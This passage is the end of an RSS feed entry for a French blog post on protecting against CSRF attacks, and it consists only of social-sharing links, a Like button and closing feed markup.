	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&d=http://www.facebook.com/share.php?u=TARGET%26t=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;annotation=CSRF%20Injection%20%28Cross%20Site%20Request%20Forgeries%29%20est%20une%20classe%20d%27attaque%20propre%20aux%20applications%20WEB%20qui%20a%20toujours%20exist%C3%A9%20mais%20qui%20reste%20moins%20connue%21%20son%20exploitation%20par%20un%20attaquant%20malveillant%20peut%20avoir%20des%20cons%C3%A9quences%20dramatique%20sur%20un%20syst%C3%A8" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;notes=CSRF%20Injection%20%28Cross%20Site%20Request%20Forgeries%29%20est%20une%20classe%20d%27attaque%20propre%20aux%20applications%20WEB%20qui%20a%20toujours%20exist%C3%A9%20mais%20qui%20reste%20moins%20connue%21%20son%20exploitation%20par%20un%20attaquant%20malveillant%20peut%20avoir%20des%20cons%C3%A9quences%20dramatique%20sur%20un%20syst%C3%A8" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;bodytext=CSRF%20Injection%20%28Cross%20Site%20Request%20Forgeries%29%20est%20une%20classe%20d%27attaque%20propre%20aux%20applications%20WEB%20qui%20a%20toujours%20exist%C3%A9%20mais%20qui%20reste%20moins%20connue%21%20son%20exploitation%20par%20un%20attaquant%20malveillant%20peut%20avoir%20des%20cons%C3%A9quences%20dramatique%20sur%20un%20syst%C3%A8" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=CSRF%20Injection%20%28Cross%20Site%20Request%20Forgeries%29%20est%20une%20classe%20d%27attaque%20propre%20aux%20applications%20WEB%20qui%20a%20toujours%20exist%C3%A9%20mais%20qui%20reste%20moins%20connue%21%20son%20exploitation%20par%20un%20attaquant%20malveillant%20peut%20avoir%20des%20cons%C3%A9quences%20dramatique%20sur%20un%20syst%C3%A8" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&d=http://ping.fm/ref/?link=TARGET%26title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection%26body=CSRF%20Injection%20%28Cross%20Site%20Request%20Forgeries%29%20est%20une%20classe%20d%27attaque%20propre%20aux%20applications%20WEB%20qui%20a%20toujours%20exist%C3%A9%20mais%20qui%20reste%20moins%20connue%21%20son%20exploitation%20par%20un%20attaquant%20malveillant%20peut%20avoir%20des%20cons%C3%A9quences%20dramatique%20sur%20un%20syst%C3%A8" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&d=mailto:?subject=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;selection=CSRF%20Injection%20%28Cross%20Site%20Request%20Forgeries%29%20est%20une%20classe%20d%27attaque%20propre%20aux%20applications%20WEB%20qui%20a%20toujours%20exist%C3%A9%20mais%20qui%20reste%20moins%20connue%21%20son%20exploitation%20par%20un%20attaquant%20malveillant%20peut%20avoir%20des%20cons%C3%A9quences%20dramatique%20sur%20un%20syst%C3%A8" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;submitHeadline=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;submitSummary=CSRF%20Injection%20%28Cross%20Site%20Request%20Forgeries%29%20est%20une%20classe%20d%27attaque%20propre%20aux%20applications%20WEB%20qui%20a%20toujours%20exist%C3%A9%20mais%20qui%20reste%20moins%20connue%21%20son%20exploitation%20par%20un%20attaquant%20malveillant%20peut%20avoir%20des%20cons%C3%A9quences%20dramatique%20sur%20un%20syst%C3%A8&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
	</channel>
</rss>

